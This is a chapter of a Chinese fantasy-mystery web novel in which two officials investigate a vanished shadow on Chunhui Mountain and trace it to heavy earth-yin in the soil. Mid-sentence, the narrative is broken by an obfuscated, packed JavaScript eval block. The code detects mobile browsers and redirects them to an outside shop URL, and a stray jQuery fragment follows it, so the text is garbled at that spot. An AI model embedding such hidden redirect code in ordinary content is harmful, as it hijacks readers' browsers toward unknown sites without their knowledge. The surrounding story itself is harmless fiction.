不待她仔细深究审视崔湘之,另有一小吏走到她身边,递来一张正式协办令,上方写明。
“著天问司主簿郑昭,即日起协理春回山影失一案,掌现场勘查与案卷整理,事毕复命”。
上头还盖着天问司司主的章,以及天异司、妖物司两道小印。
郑昭抬眼:“这次如何要我去?”
那小吏望着她,无辜道:“小人不知。”
郑昭道:“可有随行协助我的同僚?”
那小吏望了一眼堂下,崔湘之漫不经心站着,似在等他们说完话,见他望来,略微挑眉。
那小吏讪笑:“大人…目前司里人手不够…您前几日方才弄出的那道封印,放出了一个玄级大妖…司里上上下下都去驰援了…故而…”
他眼神略撇向堂下那人。意思尽在不言之中。
郑昭哑口无言,看向崔湘之,内心暗叹,腹诽道:“那封印…我又没碰它,我只是刚巧路过…谁知会误打误撞…罢了,总比没有好…”
那小吏悄无声息地溜之大吉吏,郑昭对着崔湘之摆摆手道:“收拾一下要带的,明天出发吧,早去早回。”
崔湘之点头退下。
翌日。寅时。
天问司后院东角一处矮房,门楣上一块旧牌匾,写着“玄器阁”三个字。
崔湘之掀帘进去,一须发花白的老吏正提笔写着什么,听见有人前来,并未抬头,沉声问道:“案号。”
“玄霄三十三年·妖·零五六·黄”
老吏站起转身从后面架子上取下几个东西摆在桌面上。只见有一枚拳头大小的青珠子、两枚折叠成三角形的黄纸朱砂的符咒、一卷暗红麻绳。还有三枚方形银灰云纹符。
“一枚辨妖珠,辨妖气残留,两枚引路符、一卷捆妖索,还有三枚玄信符,对一下。”
崔湘之查毕拱手谢过,收入怀中,转身往外走去。
二人自官道一路向春回山走去,此时卯时一刻方过,春回山还笼罩在一层薄薄的青蓝里。
紫雾形成的原因,据天异司昨日查明,春回山含有一层薄铁矿脉,卯时前后,地温升高,地下潮气从矿脉裂缝处携尘土上升,遇空中水汽,凝而成雾。
尘微之细,日光透之,肉眼即为紫雾,非妖物邪术。
“紫雾缘由分明了,”郑昭说道,”但妖物司那边——并无查探到有妖气存留。”
崔湘之补充道:“花翁口述中那个男子,查过了,昨晚对了名簿,玄京四市,无人认识此人,各州县户籍档册中也无与其体貌特征相合者。”
“像是一夜之间出现,又一夜之间消失。”
莫不成真据那花翁所说,那紫雾化形,先嗜影,再吃人?
郑昭绕着那棵槐树走了几圈,她只觉这树冠伸展,遮了半亩地的阴凉,蹲下来才发觉树干有一道深色裂缝,像是被雷劈过后慢慢愈合的旧伤。
她停在那道裂缝前,弯腰看了看根部地面泥土,土色似乎要比周围深一些。
“这棵树,”她蹲下来,用指尖碾了一点土“底下的土比周围松。”
崔湘之把辨妖珠凑到那片土前,珠子无异样,“不是妖气。”
郑昭站起来,问道:“那天花翁看到的那人,蹲在这里,面对的——”,她看向裂缝的方向,“是这棵树的裂缝。”
崔湘之看了一眼那道裂缝,在薄薄日光照射下,刚好在地上投下一条竖直的线。
此时地面一片湿答答的泥泞不堪,但关键并非在此,而是那槐树前一小片土被挖开的痕迹,二人去探,却又空空如也。
“怪道。莫不是…”
想到并无线索,崔湘之也止住嘴不再说。
郑昭详细勘察了现场的一些情况,提笔记下。
二人下山往天问司走去。
天问司总署位于玄京正东,主司天问司居中,六副司环列四方,正东鬼祟司,顺时针方向依次是邪修司、妖物司、天异司、符禁司、通幽司,暗合“天枢居中,六星拱卫”之意。
天问司总揽六司调度和日常案卷终审,统筹跨司联合行动,执事官员接到报案,盖印分派对应六司查看,当时郑昭所盖之印就对应各个副司。
赤印妖物,黑印鬼祟,青印邪修,金印天异,白印通幽,紫印符禁。
天异司位于正西,二人不必费心找寻匾额或者入口在哪,只需瞧见那标志性的窗户,便可知晓方位。
天异司的窗户比寻常官署大出将近一倍,窗棂是一种放射状同心圆纹路——以窗心为中心,向外扩散出十二道弧线,对应十二地支方位。
窗纸用的是特质月影纸,近乎半透明,透光性极好,便于看见气象星象。
二人跨入正门,便见一根高约一丈乌黑石柱立于院子正中央,柱身刻满密密麻麻刻度线,从下往上逐级收窄。
那是一根日晷柱,官吏判断时辰不靠针影,而是靠柱身不同高度上光照强度差异判断,即便在雨雪或薄云天气里,只要太阳还在,它就能用漫射光的强度差继续判读,误差不超过半刻。
迈入主厅,天异司执事们坐在矮案后面,主厅穹顶悬着一面巨大铜镜,镜面微微凸起,将南窗透入天光反射到北墙,形成一片缓慢移动光斑。
那些执事们偶间抬头看一眼墙上那片光影,现在是青天白日,估计在判断云量和风向。
若是夜晚,铜镜便用来汇聚星光,他们则判断星象是否有异。
他们背后便是整面墙格子柜,按年月日排列的天气记录,一年一摞。
郑昭上前出示命牌,说道:“劳烦帮我查询玄霄三十三年槐夏初三的天气情况。”
执事抬头看了一眼她,再看了一眼命牌,没有多问,转身走向柜子格拉开抽屉,柜门是推拉式的,木槽里嵌着细铜条,拉动时无声无息,犹如时间可以滑动一般。
她抽出一张纸递给她,上面列着日期、风力、云量、降水时刻、每个时辰的温度、湿度以及天气状况。
郑昭接过去看了一会儿,在心里把数据换算了一遍,记下数据递还给她,“多谢。”
那名执事把纸张放置回格子内,又坐回矮案后面,头也没抬。
二人路过日晷柱的时候,郑昭瞄了一眼刻度,大约是辰时正刻了。
走出天异司,崔湘之问道:“要不要去妖物司看一下?”
郑昭摇头,“妖物司并未查探到妖气痕迹,连辨妖珠都没有反应,不必去。”
她顿了一下,“方才我从那记录上看到,那日前夜,下了雷雨。”
崔湘之早上时已看过那花翁的证词,接而也想到了,“那花翁说那日山雾散去大半,按理说初四那天清晨应当浓雾弥漫才是,毕竟初三夜间雷雨大作,水汽充足。”
那便是地下出了问题。
二人又回到了春回山,进行第二轮勘察。
此时天色全亮,日光从树隙间漏下来,投出明暗交错的光斑。
郑昭目光扫了一圈,落到了一处不起眼角落,那里有一丛矮灌木,叶子颜色不大对。
她走过去蹲下拨开叶片,靠近根部的叶背呈现一种极浅的,没有血色的灰白色。
崔湘之蹲在她旁边,叶背确实白得不正常。
按理说,那丛灌木长在树底下半阴半阳的位置,不至于长成这样,而且不是一两片这样,整株植物从根部往上大约两寸开始发白,上端反而还是正常的绿色。
这让郑昭想起自己养过的花,一株被遗忘在窄口花瓶里的鲜切植物,搁了整整两周,等想起时,瓶底早已滴水不剩。
茎秆自水位线以下泛起一层灰白的绒毛霉斑,而侥幸露出瓶口的上半截,还兀自维持着最后一点自欺欺人的青绿。
郑昭把那株灌木根系轻轻拨开一些。
泥土潮湿,颜色偏深,跟方才槐树底下那片深土一样。她指尖沾了一点捻了捻,闻了闻,没有特别的气味,只是觉得土凉得过分了些
不像地气那种保持不变的凉意,更像温度计那根汞柱,数值缓慢下爬的那
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17943987|214022||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
种持续的冷。
“不是缺水,也不是缺光。”她站了起来,拍了怕手上的土,“土壤里面有别的东西。”
“大人见过?”
“没有。”郑昭说,“见过相似的光景,却在另一处全然不同的所在,那里有一片草木,长在一条废弃矿脉上方,叶背亦泛白,只因矿脉里的某种东西从地下渗涌而上,改变了根际的酸…”
她望了眼巴巴看着他的崔湘之,似乎也觉得跟他聊这些怕是天方夜谭、天书一般。
干脆收住后半句,改口道:“改变了地气。”
崔湘之点了点头,往那丛灌木跟前又凑了一步,蹲下身,伸出一只手悬在根部上方约两寸的位置,不知何时指尖夹了一张素符。
他闭上眼,掌心运力,催出灵力,注入符中。
“你做什么?”郑昭问道。
他没睁眼,声音低平,“晨间偶阅。天乾地坤,乾,阳也。坤,阴也。凡地中阴气凝处,以素符覆其上,运灵催之,符面若生露,即为阴气之验。视其色泽浓淡,可测阴气之轻重。”
话音未落,洁白素符上浮细密灰黑水珠,似从纸背逼出,凝而不散,触之则凉。
崔湘之将那张符折好收起来,说道:“地阴之气寻常渗溢,应淡灰如薄霜,若色泽偏黑墨,触手生凉且久而不散——说明地下已形成极重的地阴之气。”
她想起方才槐树底下那片深土,同样的颜色,两处相隔不近,土质却一致。
“初三夜里那场雷雨,”郑昭说道,“当天夜里水汽渗到地底,可能让某样东西……”她斟酌着措辞,“往上走了一点。”
“大人是说,雨水把地下的东西带上来,浸到灌木丛的根了?”崔湘之反应的很快,接话道。
“差不多。”她站起来,“雨水本身没问题,但它渗下去,返上来的时候可能把土壤里原本含着的、偏重的东西一起带了上来。
那东西含量多了对草木的根不好——所以靠近根部的位置先发白。”
崔湘之恍然,“难怪初四清晨并未起雾,原是那东西堵住了,地下潮气上不来,自然就没那么重的雾了。”
二人一时无话。
崔湘之面朝郑昭,唇线先是一松,嘴角微微勾起,随即眼角漾开,整张脸像被春水浸过的宣纸,润出几分柔光。
郑昭心头一紧,眼底掠过惊疑:“干什么?”
他凑近些许,嗓音压低,尾音轻快地翘起来,带着点憋不住的笑意夸道:“大人可听过《战国策》里解连环的故事?”
郑昭微愣,点头:“齐王送了一副玉连环给秦昭王,说:‘谁能解开它,就算谁有本事。’
秦王派了很多人来解,没有人解得开。后来有人拿一把铁锤把连环砸碎了,说:‘此即解之。’”
崔湘之颔首,郑昭仍是不解。
“这与眼下案件有何干系?你是说我把事情想复杂了?”
“非也。”崔湘之说道,“我是在说,大人办案如同解连环一般,路数与我想的不太一样,却总能走通。大人这脑袋……”
他指尖轻叩额角太阳穴,“天生就用来破案的。”
二人又站了片刻,日头已升至东南方,光线越过树梢,径直咬住她的耳垂,烫得像刚出炉的铜钱。
郑昭清了清嗓子,目光没有看向他,语调四平八稳,矜持坦然:“崔仵作眼力不错,本官这脑袋,确实还算好用。”
说完,她便不疾不徐往槐树底下,好似避凉而去,衣袂轻摆,仿佛刚才那番话听过许多回,并不值得放在心上一般。
她这话说得理直气壮,毫不心虚。
崔湘之还杵在原地,脸上笑意尚未褪尽,嘴角却微微僵了一下。
——他本想瞧见她被夸得耳根通红,哪知她接得这般从容。
他怔怔望着她的背影,愣了几息,脑海中倏地响起什么声音。
崔湘之随即轻笑出声,抬手揉了揉后颈,低声嘀咕一句“不愧是……”,便悠悠地跟了上去。